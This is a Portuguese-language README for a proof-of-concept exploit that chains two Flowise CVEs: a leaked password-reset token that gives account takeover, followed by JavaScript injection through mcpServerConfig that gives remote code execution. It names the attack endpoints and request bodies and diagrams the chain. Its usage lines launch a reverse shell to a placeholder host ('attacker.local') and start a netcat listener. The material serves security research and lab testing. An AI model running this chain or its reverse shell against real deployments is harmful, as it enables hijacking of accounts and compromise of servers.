
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrando ATO não autenticado via vazamento de token de redefinição, seguido por RCE autenticado. Inclui um ambiente de laboratório Docker reproduzível.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
Este repositório contém uma prova de conceito em Python para encadear duas vulnerabilidades do Flowise:
Flowise é uma plataforma de arrastar e soltar para construir aplicações LLM e fluxos de trabalho de agentes de IA. O CVE-2025-59528 afeta o Flowise 3.0.5 e foi corrigido na versão 3.0.6. O problema decorre do processamento inseguro de mcpServerConfig dentro do nó CustomMCP. O CVE-2025-58434 está relacionado à exposição de token de redefinição de senha e também foi corrigido no Flowise 3.0.6.
A ferramenta suporta:
O fluxo vulnerável de redefinição de senha expõe dados sensíveis do usuário, incluindo tokens temporários de redefinição de senha, na resposta da API. Um atacante que conhece um endereço de e-mail de usuário válido pode solicitar uma redefinição de senha, recuperar o token temporário da resposta e usá-lo para definir uma nova senha para a conta.
O comportamento vulnerável afeta o Flowise cloud e implantações auto-hospedadas/locais que expõem a mesma superfície de API. A remediação é nunca retornar tokens de redefinição de senha ou dados sensíveis de redefinição de conta diretamente nas respostas da API.
A vulnerabilidade existe no nó CustomMCP do Flowise. O parâmetro mcpServerConfig é analisado como parte do processo de configuração do servidor MCP e é avaliado como código JavaScript sem qualquer validação de segurança. Isso permite que um atacante autenticado injete código JavaScript arbitrário, que é executado no ambiente Node.js do servidor Flowise. Na função convertToValidJSONString, a entrada do usuário é passada para o construtor Function, que avalia a entrada como código JavaScript com privilégios totais do Node.js, permitindo acesso a módulos como child_process para executar comandos do sistema.
O endpoint vulnerável usado por este PoC é:
POST /api/v1/node-load-method/customMCP
com payload js no campo mcpServerConfig do corpo JSON, por exemplo:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
O código vulnerável é encontrado no arquivo CustomMCP.ts e referenciado no Aviso do Mantenedor do Github para o CVE.
Atacante Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objeto do usuário + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ senha alterada │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS avaliado no Node.js
│ comando executado
│◄─────────────────────────────────────────│
│ saída do comando ou payload disparado │
│ │
✓ Account takeover + RCE autenticado
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Sem argumentos, a ferramenta executará toda a cadeia de ataque, verificando a vulnerabilidade do alvo, realizando o account takeover para o e-mail fornecido, fazendo login para recuperar cookies e, em seguida, explorando a vulnerabilidade RCE com um payload de reverse shell. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Realiza uma verificação de versão para determinar se o alvo é vulnerável aos CVEs 2025-58434 e 2025-59528. Envia uma requisição para a API do alvo e analisa a resposta para identificar a versão do Flowise e o status da vulnerabilidade.
python3 exploit.py --target http://localhost:3000 check
Executa o processo de account takeover para o CVE-2025-58434. Envia uma solicitação de redefinição de senha para o e-mail especificado, recupera o token temporário da resposta e, em seguida, usa esse token para definir uma nova senha (padrão: "Password123!") para a conta.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode